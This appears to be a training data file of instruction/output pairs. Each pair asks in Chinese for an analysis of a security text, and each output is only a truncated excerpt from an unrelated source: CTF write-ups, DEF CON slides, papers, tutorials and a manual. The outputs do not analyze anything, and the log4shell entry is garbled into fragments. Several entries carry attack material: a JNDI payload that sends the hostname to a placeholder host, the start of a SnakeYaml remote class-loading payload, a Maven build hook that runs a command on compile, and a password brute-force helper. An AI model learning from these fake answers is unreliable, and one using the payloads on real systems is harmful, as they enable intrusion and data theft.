Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

祥云杯 Nu1L
MISC
进制反转
RAR 伪加密，改一下 header，解压得到一个音频，根据提示对 bit 进行翻转
with open('flag.wav','rb') as f:
content = f.read()
res = []
for c in content:
res.append((~c)&0xff)
with open('output.wav','wb') as f:
f.write(bytes(res))
音频翻转：https://audioalter.com/reverse/
在线识别：https://www.acrcloud.com/identify-songs-music-recognition-online/
xixixi
binwalk 一下看到有个 png 头，但文件不完整。再翻一翻找到两个 python 脚本，参考脚本还
原图片即可
import struct
# with open('new.vhd', 'rb') as f:
#     content = f.read()
# res = content.split(b'\x00'*128)
# rres = []
# for i in res:
#     if i:
#         rres.append(i.strip('\x00'))
# parts = []
# for idx, val in enumerate(rres):
#     if 'IHDR' in val:
#         print(idx, len(val))
# if len(val) > 0 and len(val) % 512 == 0 and val[-1] == '\xff':
#     parts.append(val.rstrip('\xff'))
# print(len(parts))
# print(rres[73])
# print('='*50)
# print('='*50)
# print(rres[74])
class FAT32Parser(object):
def __init__(self, vhdFileName):
with open(vhdFileName, 'rb') as f:
self.diskData = f.read()
self.DBR_off = self.GetDBRoff()
self.newData = ''.join(self.diskData)
def GetDBRoff(self):
DPT_off = 0x1BE
target = self.diskData[DPT_off+8:DPT_off+12]
DBR_sector_off, = struct.unpack("<I", target)
return DBR_sector_off * 512
def GetFAT1off(self):
target = self.diskData[self.DBR_off+0xE:self.DBR_off+0x10]
FAT1_sector_off, = struct.unpack("<H", target)
return self.DBR_off + FAT1_sector_off * 512
def GetFATlength(self):
target = self.diskData[self.DBR_off+0x24:self.DBR_off+0x28]
FAT_sectors, = struct.unpack("<I", target)
return FAT_sectors * 512
def GetRootoff(self):
FAT_length = self.GetFATlength()
FAT2_off = self.GetFAT1off() + FAT_length
return FAT2_off + FAT_length
def Cluster2FAToff(self, cluster):
FAT1_off = self.GetFAT1off()
return FAT1_off + cluster * 4
def Cluster2DataOff(self, cluster):
rootDir_off = self.GetRootoff()
return rootDir_off + (cluster - 2) * 512
output = open('flag.png', 'wb')
parser = FAT32Parser('new.vhd'...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Attacking the Traveling Salesman
Point-of-sale attacks on airline travelers
DEFCON 2014
Alex Zacharis
Nikos Tsagkarakis
info@census-labs.com
Census S.A.
http://census-labs.com/
Contents
• Why target travelers?
• Point-of-Sale attacks in transportation
• Case Study
• Back to the Lab
• POS: exploiting different modules
• Cameras everywhere
• Scan that QR
• RAM scrapping
• TS POS Malware
• Aztec Revenge Tool
Why target travelers?
●
The need for communication is greater than privacy and/or
security
●
The unknown Internet access landscape forces you to trust
what you normally wouldn’t
• WiFi:
• Login to (corporate) email accounts
• Login to social networks
• Carry mobile phones, tablets, laptops ,usually all on at the
same time ;)
• No second thoughts about public Internet hotspots
Point-of-Sale attacks in Transportation
Unlike traditional POS attacks in Commerce (ex.
Target Incident):
• Credit card details
• Web credentials
We target International Travelers' information:
• Name
• Picture
• Flight number
• Destination
• Seat number
• Communication partners
• Other_.
How is the POS introduced
As in every known POS Attack (Retail, Healthcare, etc):
1. The system may have unpatched
vulnerabilities
2.
An employee of the victim company may
introduce it by mistake (opening an email
attachment containing malware)
3. The source might even be an employee
looking to cause trouble.
POS attack outcome
Who benefits?
•Cyber Criminals (Identity theft)
•Private Investigators (spying)
•Government Agencies (spying)
After a successful attack we can achieve:
●Travelers “profiling” without authorized access to Airport Data
●With enough data collected we can categorize travelers per:
●
Destination (ex. Who travelled from Greece to Germany in the last
month)
●
Company (ex. All Aegean passengers)
●
Class (ex. Who is travelling 1rst class OR Business)
●
Flight/Date (ex. All passengers of a specific flight)
●
Combination of the above
POS Systems Present
What are the possible POS Sy...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

tomcat整体架构和处理请求的流程
tomcat源码调试
以 tomcat8.5.68 为例
首先下载tomcat源代码：tomcat8
创建资源文件目录。在任意文件夹下可以创建一个文件夹，用于存放配置文件，站点信息等。我创
建的 catalina_home
新建pom.xml，使用maven管理项目，导入调试所需要的依赖包
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>Tomcat8.5.38</artifactId>
    <name>Tomcat8.5.38</name>
    <version>8.5</version>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.12</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.easymock</groupId>
            <artifactId>easymock</artifactId>
            <version>3.5.1</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>ant</groupId>
            <artifactId>ant</artifactId>
            <version>1.7.0</version>
        </dependency>
        <dependency>
            <groupId>ant</groupId>
            <artifactId>ant-apache-log4j</artifactId>
            <version>1.6.5</version>
        </dependency>
        <dependency>
            <groupId>ant</groupId>
            <artifactId>ant-commons-logging</artifactId>
            <version>1.6.5</version>
        </dependency>
        <dependency>
            <groupId>wsdl4j</groupId>
            <artifactId>wsdl4j</artifactId>
            <version>1.6.2</version>
        </dependency>
        <dependency>
            <groupId>javax.xml.rpc</groupId>
            <artifactId>javax.xml.rpc-api</artifactId>
            <version>1.1</version>
        </dependency>
        <dependency>
            <groupId>org.eclipse.jdt.core.com...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Warez Trading and Criminal
Copyright Infringement
Eric Goldman
Marquette University Law School
eric.goldman@marquette.edu
http://eric_goldman.tripod.com
Overview
Definition of warez trading
Applicable criminal laws
Some prosecutions
Some policy concerns
The bottom line:
 Warez trading has been criminalized
 More warez traders will be sent to jail
What is Warez Trading?
Warez trading vs. commercial piracy
Different types of warez traders
 Warez distribution groups
 Warez collectors
 Warez downloaders
 Abandonware enthusiasts
Criminal © Infringement
Willful copyright infringement
committed:
 for commercial advantage or private
financial gain, or
 by reproducing or distributing, in any 180-
day period, works with a total retail value
over $1,000
Punishment can be up to 5 years in
prison and $250,000 fine
Prosecution Elements (1)
Valid copyright exists
Infringement
 Uploading, downloading, distribution
 Evidentiary challenges
 First sale doctrine
 Fair use
 Nature of the use
 Nature of the work
 Amount taken
 Effect on the market
Prosecution Elements (2)
Willfulness
 Minority view: intent to copy
 Majority view: “voluntary, intentional
violation of a known legal duty”
 Good faith but incorrect belief of non-
infringement
 Good faith but incorrect belief of fair use
 Ignorance of the law
Prosecution Elements (3)
Commercial advantage/financial gain
 Financial gain: “receipt, or expectation of
receipt, of anything of value, including the
receipt of other copyrighted works”
Retail value
 $2,500 for felony, $1,000 for misdemeanor
 Price of warez v. manufacturer’s list price
Other Criminal Laws
Circumvention
 Circumventing
 Trafficking in circumvention devices
Hacking/Trespass
 Unauthorized access to obtain information
 Unauthorized access and causing damage
Theft
Trade Secret Misappropriation
Copyright Management Information Integrity
Prosecutions
Classes of defendants
 Distribution groups (Fastlane, PWA, DOD, RWZ)
 Individual traders ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

author：pen4uin
time：2021/11/13
别想用我源码：针对源码泄露的反制思路(仅供娱乐)
目录
0x01 起
0x02 承
0x03 转
Maven
Gradle
0x04 合
0x01 起
自从看了@DriverTom师傅写的这篇文章后，
给我带来的感受就是，关于攻防演练的“潜规则”就只剩下
0x02 承
之前在fofa的帮助“捡到”了几套源码
同时，也从github从git clone了很多工具的源码(java)进行review 学习，但是在IDEA初次打开的时候，
相信大家对下面这个弹窗不会陌生
我不知道你们的选择是什么，我之前都是毫不在意地Trust Project，然后使用maven打包运行。
但是针对这个小细节，不由心生疑惑：“这个潜意识的操作有被反制的可能吗？”
0x03 转
这里只测试经常遇到了的两种Java项目构建工具，提供思路，其他的可自行测试。
Maven
测试如下：
源码
demo.java
pom.xml
public class demo {
public static void main(String[] args) {
  System.out.println("Hacked By Yourself ！");
}
}
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>rceDemo</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
  <maven.compiler.source>7</maven.compiler.source>
  <maven.compiler.target>7</maven.compiler.target>
</properties>
<build>
  <plugins>
      <plugin>
          <groupId>org.codehaus.mojo</groupId>
          <artifactId>exec-maven-plugin</artifactId>
          <version>1.1.1</version>
          <executions>
              <execution>
                  <id>some-execution</id>
                  <phase>compile</phase>
                  <goals>
                      <goal>exec</goal>
                  </goals>
              </execution>
          </executions>
          <configuration>
              <executable>calc</executable>
弹计算器
Gradle
测试如下：
源码
build.gradle
          </configuration>
      </plugin>
  </plugins>
</build>
</project>
plugins {
id 'java'
}
group 'org.example'
version '1.0-SNAPSHOT'
repositories {
mavenCentral()
}
dependencies {
settings.gradle
0x04 合
  其实关于漏洞产生的本质—“Untrusted Data From Outside”，不仅适用于各种网站、各种软件，也
同样适用于我们自己。
水这篇文章虽有供娱乐的目的，但同时也是给自己提个醒儿，以后在这些方面还是留意一下，别栽了”跟
头“！
  至于如何提升杀伤力真正达到反制的效果，我不会，我是废物。
testImplementation 'org.junit...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Ghost Telephonist
Impersonates You Through LTE CSFB
Yuwei ZHENG, Lin HUANG Qing YANG, Haoqi SHAN, Jun LI
UnicornTeam, 360 Technology
July 30, 017
Who We Are
•  360 Technology is a leading Internet security company in China. Our
core products are anti-virus security software for PC and cellphones.
•  UnicornTeam (https://unicorn.360.com/) was built in 2014. This is a
group that focuses on the security issues in many kinds of wireless
telecommunication systems.
•  Highlighted works of UnicornTeam include:
•  Low-cost GPS spoofing research (DEFCON 23)
•  LTE redirection attack (DEFCON 24)
•  Attack on power line communication (BlackHat USA 2016)
Voice Solutions in LTE Network
•  VoLTE
•  Voice over LTE, based on IP Multimedia Subsystem (IMS)
•  Final target of network evolution
•  CSFB
•  Circuit Switched Fallback: switch from 4G to 3G or 2G when taking voice call
•  SV-LTE
•  Simultaneous Voice and LTE
•  Higher price and rapid power consumption on terminal
Occasional Discovery
•  When we used OsmocomBB as cellphone to access GSM
 network, we met a difficultyDuring debugging the
 problem, we occasionally found a fake paging response
 can build the connection to network
Normal 2G Call vs. CSFB
When we analyze the
signaling flow of CSFB,
we were surprised to
find that there is no
authentication step.
In normal 2G call,
AKA does exist for
every call.
Vulnerability in CSFB
UE
eNB
MME
BSC
MSC
Paging Request
Paging
Paging
Extended Service Requet
Service Requet
RRC Connection
Release
Paging Response
Setup
Call Conﬁrmed
Alerting
Connect
Connect Acknowledge
NO Authentication
Vulnerability in CSFB
•  The principle is like someone comes out from the door of LTE, then enters the door of
GSM. He shouts ‘I must be as quick as possible!’ Then he is permitted to enter, without
the badge of GSM.
How can we exploit it?
•  Basic idea
•  Because CSFB hasn’t authentication procedure, attackers can
send Paging Response on 2G network, impersonating the victim...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

DEF CON 101
THE PANEL
SUPER N00B KART
Welcome to Las Vegas
Pace yourself
THIS IS DEF CON
DGAF
Everyone was a n00b once.
All of us are still n00bs at
something.
THIS IS THE DESERT
Stay hydrated
All Good
Sit Down
And Drink
Grab A
Glass of
Water
Call A
Doctor
THE COUNTDOWN
Simple rules for
surviving Def Con
THE COUNTDOWN
3
Get at least three hours sleep each night
THE COUNTDOWN
2
Eat at least two
meals each day
THE COUNTDOWN
1
Bathe at least one
time each day
Wash your hands, too
Underbelly is
Not Sexy
A WORD ABOUT SHIRTS
DEF CON CRUD
Fist your friends
Fist them often
Seriously, wash your damn hands
This is Dick
Don’t.
Be.
A.
Dick.
The Basics
Hold the door.
Keep your head up.
Pay attention.
Don’t block the hallway.
Don’t stand at the base of the
escalator.
Don’t Be an Asshat
Don’t ruin everyone’s time
Don’t Heckle
If you don’t agree, talk afterwards.
See previous slide.
Ask Permission
Phones and Wireless
Seriously?
This is a hacker convention.
Use your head.
Pictures
See previous slide.
Expect to be in a picture or two.
Ask nicely if you don’t want to be in one.
Not everything is free
Just because you see it laying out, does
not mean you can take it.
Have a Plan
Read the program.
HACKER TRACKER!
Talks fill up quickly.  Consider purchasing
the videos from TSOK.
•
Originally created by Whitney
Champion (shortxstack)
•
Lot of good info about DC25
•
Available on the App Store and
Google Play
•
You should have downloaded it
before now
Hacker Tracker App
The Talks
Villages
Biohacking Villages
Car Hacking Village
Crypto & Privacy Village
Hardware Hacking Village
ICS Village
IoT Village
Lockpick Village
Packet Hacking Village
Recon Villages
R00tz
303 Skytalks
Social Engineer Village
Tamper Evident Village
Voting Machine Hacking
Village
Wireless Village
Contests + Events
Too many to list – here are some highlights.
•  T.D.F. X-Hour Film Contest.
•  Capture the Flag.
• ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Managed Code Rootkits
Managed Code Rootkits
Hooking into Runtime Environments
Hooking into Runtime Environments
Erez Metula,
Erez Metula,
Secure Software Engineer
Secure Software Engineer
Application Security Department Manager, 2BSecure
Application Security Department Manager, 2BSecure
ErezMetula@2bsecure.co.il
ErezMetula@2bsecure.co.il
August 2
August 2nd
nd, 2009
, 2009
DEMO – println(string s) goes crazy
..or how to make code do more than it should
•
Trivial question:
What should be the output of the following (Java) code?
class HelloWorld {
        public static void main(String args[])  {
           System.out.println("Hello World!");
        }
}
•
A simple PoC of language modification. Sometimes  “1+1=3”
•
“println()” was modified to print every string twice
Agenda
• Introduction to managed code execution model
• What are Managed Code Rootkits?
• MCR advantages
• Application VM modification and malware deployment
• Interesting attack scenarios (+ DEMOS!)
• .NET-Sploit 1.0 – Generic Framework modification tool
• Q&A – if time permits..
Background
• I started playing with the idea of Managed Code language
modification back in 2008
• Wrote a whitepaper titled “ .NET Framework Rootkits –
Backdoors inside your Framework”
• Presented in BH EU 2009 & CanSecWest
• .NET Rootkits was a case study of the Managed Code
Rootkit concept
• Today we’ll talk about the general concept and take a look
at Java Rootkits as well
What is managed code
?
•
Code that executes under the management of an application virtual
machine, a.k.a “the sandbox”
• Think of it as an “applicative OS” for apps
• Example: Java Virtual machine (JVM)
• High level intermediate assembly language
• As opposed to unmanaged code (example:  C/C++) which is
executed directly by the CPU
•
Write once, run everywhere
• Managed code is independent of the underlying platform.
• The VM acts as a machine specific “bridge”
• Same code can run on Windows, Linux, Mac, Mainframe,
mobile phone, database, car,...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

log4shell
0x00
log4shell
anyway
0x01
waf
rasp
1. wafrasphidssoc
2. rasp
log4j
0x02
1. nolookupstrue
2. key
3. jdkrce
1nolookups
nolookupstruelookup
log4jXMLlookup
 log.error("${sys:java.version}"+"xxxxx") lookup
java version
lookup
1.
2. lookup
3.
lookupGitHub
2
1. jvm -Dlog4j2.formatMsgNoLookups=true
2. classpathlog4j2.component.propertieslog4j2.formatMsgNoLookups=True
3.  FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS true
1. 2.10
2. key
 LOG4J_log4j2_formatMsgNoLookups=True
3jdk
jdkdnslogjdk
gadgetspringboot
https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg
0x03
nolookupsfalselookuprc1
nolookupstrue
1. rc1rc2nolookupstrue
2. jndifalse
3. lookup
lookup
jndilookupnolookups=false
log4j2jndilookuplookupjndi
0x04
${jndi:dns://xxx.xxx.xxx.xxx:port/${hostName} -${sys:user.dir}- ${sys:java.version} - ${java:os}}
vpsudp
RCE


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Home Insecurity: No Alarms, False Alarms, and SIGINT
Logan Lamb
lamblm@ornl.gov
ABSTRACT
The market share of home security systems has substan-
tially increased as vendors incorporate more desirable fea-
tures: intrusion detection, automation, wireless, and LCD
touch panel controls. Wireless connectivity allows vendors
to manufacture cheaper, more featureful products that re-
quire little to no home modiﬁcation to install. Consumer
win, since adding devices is easier. The result: an osten-
sibly more secure, convenient, and connected home for a
larger number of citizens. Sadly, this hypothesis is ﬂawed;
the idea of covering a home with more security sensors does
not translate into a more secure home.
Additionally, the
number of homes using these vulnerable systems is large,
and the growth rate is increasing producing a even larger
problem. In this paper, we will demonstrate a generalized
approach for compromising three systems: ADT, the largest
home security dealer in North America; Honeywell, one of
the largest manufacturers of security devices; and Vivint,
a top 5 security dealer.
We will suppress alarms, create
false alarms, and collect artifacts that facilitate tracking the
movements of individuals in their homes.
1.
INTRODUCTION
Home security systems have advanced tremendously in the
past 25 years. They have evolved from simple systems com-
posed of wired sensors, keypads, and control panels to a
central hub for all home security and automation needs.
Newer home security systems have incorporated most every
advancement in consumer electronics to make more feature-
ful systems including touchscreens, two-way communication,
wireless sensors, and wireless home automation. Some can
even be controlled from a smartphone.. This rapid incorpo-
ration of new technology to create innovative features not
only increases the attack surface of the system, but also
reduces the resources expended on the upkeep of legacy fea-
tures. Because of this trade-o↵, allocating more res...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

S-SnakeYaml反序列化
SnakeYaml 基本使用
导包
序列化
MyClass 类
序列化测试
<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>
package test;
public class Myclass {
    String value;
    public Myclass(String args){
        value=args;
    }
    public String getValue(){
        return value;
    }
}
package test;
import org.junit.Test;
import org.yaml.snakeyaml.Yaml;
import java.util.HashMap;
public class tes {
    @Test
    public void test(){
        Myclass obj = new Myclass("this is my data");
        HashMap<String, Object> data = new HashMap<>();
        data.put("Myclass",obj);
        Yaml yaml = new Yaml();
        String dump = yaml.dump(data);
        System.out.println(dump);
    }
}
结果
前面的 !! 是用于强制类型转化，强制转换为 !! 后指定的类型，其实这个和 Fastjson 的 @type 有
着异曲同工之妙。用于指定反序列化的全类名
反序列化
yaml 文件
反序列化测试
结果
反序列化漏洞
漏洞复现
POC
Myclass: !!test.Myclass {}
name:"zhangsan"
sex:man
age:20
id:1000001
package test;
import org.junit.Test;
import org.yaml.snakeyaml.Yaml;
import java.io.InputStream;
public class unserial {
    @Test
    public void test(){
        Yaml yaml = new Yaml();
        InputStream resourceAsStream =
this.getClass().getClassLoader().getResourceAsStream("test.yaml");
        Object load = yaml.load(resourceAsStream);
        System.out.println(load);
    }
}
name:"zhangsan" sex:man age:20 id:1000001
结果
上面只是简单的进行 url 访问，要想深入利用，可以参考该项目：yaml反序列化payload
SPI机制
SPI ，全称为 Service Provider Interface ，是一种服务发现机制。它通过在 ClassPath 路径
下的 META-INF/services 文件夹查找文件，自动加载文件里所定义的类。也就是动态为某个接口
寻找服务实现。那么如果需要使用 SPI 机制需要在 Java classpath 下的 META-INF/services/
目录里创建一个以服务接口命名的文件，这个文件里的内容就是这个接口的具体的实现类。
SPI 实现原理：程序会 java.util.ServiceLoder 动态装载实现模块，在 META-INF/services 目
录下的配置文件寻找实现类的类名，通过 Class.forName 加载进来, newInstance() 反射创建对
象,并存到缓存和列表里面。
import org.yaml.snakeyaml.Yaml;
public class demo {
    public static void main(String[] args) {
        String malicious="!!javax.script.ScriptEngineManager
[!!java.net.URLClassLoader [[!!java.net.URL [...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Aura
A peer-to-peer reputation system
Cat Okita
Copyright 2003
2
INDEX
INDEX ................................................................................................................................................................... 2
ABSTRACT .......................................................................................................................................................... 3
INTRODUCTION................................................................................................................................................ 3
BACKGROUND .................................................................................................................................................. 3
REQUIREMENTS............................................................................................................................................... 4
METHODOLOGY............................................................................................................................................... 5
REPUTATION ...................................................................................................................................................... 5
TEMPLATES AND GOSSIP................................................................................................................................... 5
DESIGN ISSUES.................................................................................................................................................. 6
DESIGN................................................................................................................................................................. 7
IMPLEMENTATION ......................................................................................................................................... 9
CONFIGURATION..............................................................................................................................................


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

离线安装windbg preview
因为近期的⼀些⼯作问题，⼜重新⽤上了宇宙第⼀调试器 windbg ，但是我是windows
server的ECS环境，没法从微软商店安装 windbg preview ，所以只能暂时安装 windbg 。⼈
都是视觉动物，看着⼿⾥丑陋的 windbg ，我陷⼊了沉思，决定研究⼀下怎么离线安装 wind
bg preview 。
下⾯就是我找到的安装⽅法：
找到 windbg preview  的微软商店安装⻚⾯: https://apps.microsoft.com/store/detail/wi
ndbg-preview/9PGJGD53TN86?hl=zh-hk&gl=HK
然后将这个URL放在⽹站  https://store.rg-adguard.net/ 上进⾏解析，解析出安装包的地
址：
看到解析出来的 appx 后缀的⽂件就是安装包，copy下载地址后，使⽤powershell进⾏安
装。
接下来就看到已经安装成功，看起来真舒服。
# 下载安装包
PS C:\Users\Administrator\Desktop> Invoke-WebRequest
 'http://tlu.dl.delivery.mp.microsoft.com/filestreamings
ervice/files/978feae8-9dfb-448a-af1a-f85fa96fd5ab?
P1=1658971914&P2=404&P3=2&P4=j21fqtjctMAIZuAGmX1bFOHKmo2
AuSBnK8H4GKqFYqcAHmZ14Y3bpEiKp1FYwXkaAkiz%2fC7TQy2EF6kpY
WJuyg%3d%3d'   -OutFile .\windbg.appx
## 安装
Add-AppPackage -Path .\windbg.appx
1
2
3
4
5


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

优化ARL的⼀些坑的细节
0x00 前⾔
这篇⽂章主要是针对前⾯那篇关于漏扫优化的具体实践，实践时候也碰到了⼀些预想不到的问题包
括⼀系列ARL⾃身的bug问题。觉得有必要记录⼀下，也避免哪天硬盘挂了没备份忘记了怎么修改
的。
0x01 如何部署和调试代码
我通常是不进⾏单步调试的，毕竟ARL是python写的，有报错看报错，然后打印打印关键信息基本
我就知道哪⾥有问题要怎么改了。
我按照官⽅的安装⽅式是⼀键部署的docker版本，通过docker-compose来进⾏管理。
可以看到分为好⼏个容器，除了db和mq，剩下三个应该都是有具体ARL代码的。⽽我们前⾯所说
的例如增加host碰撞、增加扫描等实际上都是在arl_worker这个容器⾥，因此当我们对代码做修改
时，其实只需要覆盖掉worker容器⾥的具体执⾏的py代码就⾏了。当然为了减少问题，每次对代码
修改可以同时覆盖这三个容器⾥的ARL代码，使他们保持⼀致。
⽐如我们修改了这个services⾥的altDNS.py，这个时候我们只需要把这个services的⽂件夹复制到
worker容器⾥直接覆盖就⾏了。
像这样，把本地的修改过的services⽂件夹复制到容器的app⽬录下覆盖掉⾥⾯的services⽂件夹，
就完成了⼀次代码修改更新，之后我们只需要restart⼀下容器即可 docker-compose restart
worker ，不重启的话修改不会⽣效。
修改完重新跑容易报错，这时候我们需要做⼀些简单的排查，⽐如先多看看restart后容器是不是
up，如果报错了可能会不停的处于restart状态。
如果遇到执⾏错误了，这时候我们看看报了什么错
docker-compose logs
再在⽇志⾥寻找报错信息，基本上就可以找到哪⾥代码报错了，像上⾯这样。
修改错误后重新复制，容器就会正常了。还有个⽇志也要注意
项⽬⽬录下两个log是映射的容器内的两个⽇志，这⾥也会有⼀些其他的错误⽇志可以看。经常看
⽇志可以对实际运⾏情况进⾏了解，也能找到很多arl⾃身的bug。
0x02 修复⼀个ARL的隐藏bug 1
这个bug只有在进⾏⻓时间重型扫描任务时才会出现，它会导致扫描任务假死，处于永远的进⾏
中。
在运⾏了很⻓时间没有结束的任务时，你可能会从⽇志⾥找到这个报错。如果有这个报错那么它会
导致你任务⼀直卡着不会结束。
https://groups.google.com/g/celery-users/c/5dPhSfF5APQ
https://stackoverflow.com/questions/67907336/celery-task-with-a-long-eta-and-rabbitmq
参考这⼏个帖⼦，⼤概可能是rabbitmq提前触发默认超时报错了，导致celery的任务卡在那边。解
决⽅式是修改rabbitmq的配置。
https://www.rabbitmq.com/consumers.html#acknowledgement-modes
我们进⼊到rabbitmq的容器⾥，在rabbitmq的配置⽬录下创建⼀个advanced.config⽂件写⼊上⾯
的配置内容，把超时时间改成undefined。修改完成后restart⼀下容器就会⽣效了。
0x03 修复⼀个ARL的隐藏bug 2
在app->utils->conn.py的http_req函数⾥有个bug，这⾥conn如果遇到链接错误没有做异常捕获会
导致上层调⽤的进程直接报错退出。
我在fileleak这⾥看到的这个报错，因此我直接在这⾥加⼊了异常捕获。如果不加，基本上扫描⼗次
⼋次会中断报错。
0x04 集成xray时候的问题
xray的集成废了好⼤的劲，有⼀些坑吧，我也不知道我解决的对不对，总之按照我的⽅式算是解决
了。
xray在执⾏的时候会寻找⽬录⾥的配置⽂件，⽽我们是通过arl来执⾏的xray所以⽬录的相对位置会
有⼀定影响，具体过程我就不说了，我是这样解决的。
把这三个yaml放到arl主⽬录⾥，然后还有xray的主⽂件夹，在主⽂件⾥我们在放⼊⾃⼰要⽤的
config再通过参数来指定config.yaml的位置，这样执⾏就不会报错了。如果没有把这三个yaml⽂件
放在根⽬录是会报错的。
其次，xray在容器内执⾏依赖于⼀个libpcap.so，解决⽅式是把Linux⾥正常的复制到容器⾥的lib⽬
录下。
这两个做完后，xray的执⾏基本上是不会有问题了。
接下来是arl⾥和xray对接的⼀些细节问题。之前说过把xray的json格式输出后对接到nuclei的字段
⾥，整体处理思路是没有问题的。但是xray的json输出很⼤的问题在于字段不太固定。它不像
nuclei⼀...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
js加密爆破⼩技巧
js格式化，然后下断点
source⾥下断点，找到加密算法位置，通过console批量加密
2
弄这个加上明⽂，⽅便搜索。
sublime批量格式化密码
JavaScript
复制代码
let pwds = ["123456", "111111"];
for (let pwd of pwds) {
  let encrypt = o.encrypt(i.MD5(pwd).toString());
  console.log("pwd: %s;encrypt text: $$encrypt$$%s$$encrypt$$; ", pwd,
encrypt);
 };
1
2
3
4
5
6
3
JavaScript
复制代码
 (.*)
替换
 "\1",
1
2
3
4
全选复制，提取表达式
JavaScript
复制代码
 # 提取第⼀次
 \$\$encrypt\$\$(.*?)\$\$encrypt\$\$
 # 第⼆次去掉encrypt分隔符
 \$\$encrypt\$\$(.*?)\$\$encrypt\$\$
 replace
 \1
1
2
3
4
5
6
7


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

GNU Readline Library User Interface
Edition 6.1, for Readline Library Version 6.1.
October 2009
Chet Ramey, Case Western Reserve University
Brian Fox, Free Software Foundation
This manual describes the end user interface of the GNU Readline Library (version 6.1,
9 October 2009), a library which aids in the consistency of user interface across discrete
programs which provide a command line interface.
Copyright c⃝ 1988–2009 Free Software Foundation, Inc.
Permission is granted to make and distribute verbatim copies of this manual provided the
copyright notice and this permission notice are preserved on all copies.
Permission is granted to copy, distribute and/or modify this document under
the terms of the GNU Free Documentation License, Version 1.3 or any later
version published by the Free Software Foundation; with no Invariant Sections,
with the Front-Cover texts being “A GNU Manual”, and with the Back-Cover
Texts as in (a) below. A copy of the license is included in the section entitled
“GNU Free Documentation License”.
(a) The FSF’s Back-Cover Text is: You are free to copy and modify this GNU
manual. Buying copies from GNU Press supports the FSF in developing GNU
and promoting software freedom.”
Published by the Free Software Foundation
59 Temple Place, Suite 330,
Boston, MA 02111-1307
USA
i
Table of Contents
1
Command Line Editing . . . . . . . . . . . . . . . . . . . . . . . . 1
1.1
Introduction to Line Editing. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.2
Readline Interaction. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.2.1
Readline Bare Essentials. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.2.2
Readline Movement Commands. . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.2.3
Readline Killing Commands . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.2.4
Readline Arguments. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ....


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Inside  Flash:  Flash  Exploit
Detec4on  Uncovered
Ga1ois
  &
  Bo
  Qu
About  us
•  Security
  Researchers
  in
  PANW
•  Work
•  IPS
•  APT
  Detec=on
•  A>er
  work
•  Vulnerability
  discovery
•  Exploit
  technique
  researching
Agenda
•  Iden=fy
  (Possible)
  Exploit
•  Stop
  Exploit
•  Detect
  Exploit
Part
  1
  :
  Iden=fy
  Possible
  Exploit
Find
  vector
  in
  loop
  using
  sta=c
  detec=on
Find  opcode  pa<ern  of  loop
•  Compile
  tools
•  As3compile.exe
•  Asc.jar–
  two
  embeded
  abc
  ﬁle
  needed
•  Mxmlc
  in
  ﬂexsdk
•  Flash
  Builder
•  Flash
  CS*
  professional
•  Command
  line
  decompile
  tools
•  Swfdump.exe
  in
  sw>ools
•  Swfdump.py
  in
  mecheye-‐fusion
•  Swfdump.jar/swfdump.exe
  in
  ﬂex
  –
  we
  use
  it
•  3
  types
  of
  loop
•  For
•  While
•  Do/while
Simplest  situa4on
MXMLC
Swfdump
SWF
Do…while
for
AS3
Algorithm
def
  FindVecInLoop:
For
  i
  in
  range(0,len(line)):
  If
  ﬁnd
  jump
  opcode
  i
  =
  line_of_jump_opcode
  get
  Jump_label
  for
  j
  in
  range(line_of_jump_opcode+1,
  len(line))
  If
  ﬁnd
  jump_label
  get
  cur_line_cnt
  for
  k
  in
  range(cur_line_cnt+1,
  len(line))
  if
  ﬁnd
  if:
  get
  the
  if_label
  if
  line_of_if_label
  ==
  line_of_jump_opcode+1
  print
  ﬁnd
  loop
  get
  loop_body
  ﬁnd
  vector
  in
  loop_body
  check
  the
  3rd
  argument
  of
  construct,
  if
  vector
  bingo!
